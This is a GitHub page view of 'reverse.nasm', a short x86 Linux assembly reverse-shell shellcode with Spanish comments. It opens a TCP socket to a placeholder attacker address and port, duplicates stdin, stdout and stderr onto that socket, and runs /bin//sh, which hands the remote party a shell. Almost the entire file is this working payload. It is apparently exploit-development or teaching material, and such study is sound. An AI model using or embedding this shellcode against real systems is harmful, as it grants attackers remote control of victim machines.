-
Notifications
You must be signed in to change notification settings - Fork 10
/
reverse.nasm
51 lines (48 loc) · 906 Bytes
/
reverse.nasm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
global _start
section .text
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al,0x66 ; Invocar a la systemcall _socketcall
mov bl,0x1 ; Invocar a socket()
push ecx
push 0x6
push 0x1 ;SOCK_STREAM
push 0x2 ;AF_INET
mov ecx,esp
int 0x80
mov esi,eax ;Obtenemos el descriptor del socket
mov al,0x66 ; Invocar a la systemcall _socketcall
xor ebx,ebx
mov bl,0x2
push 0xeeeeeeee ;IP Address del atacante
push 0xdddddddd ;Puerto del atacante
push bx
inc bl
mov ecx,esp
push 0x10
push ecx
push esi
mov ecx,esp
int 0x80
xor ecx,ecx
mov cl,0x3
dupfd:
dec cl
mov al,0x3f
int 0x80
jne dupfd
xor eax,eax
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
push edx
push ebx
mov ecx,esp
push edx
mov edx,esp
mov al,0xb
int 0x80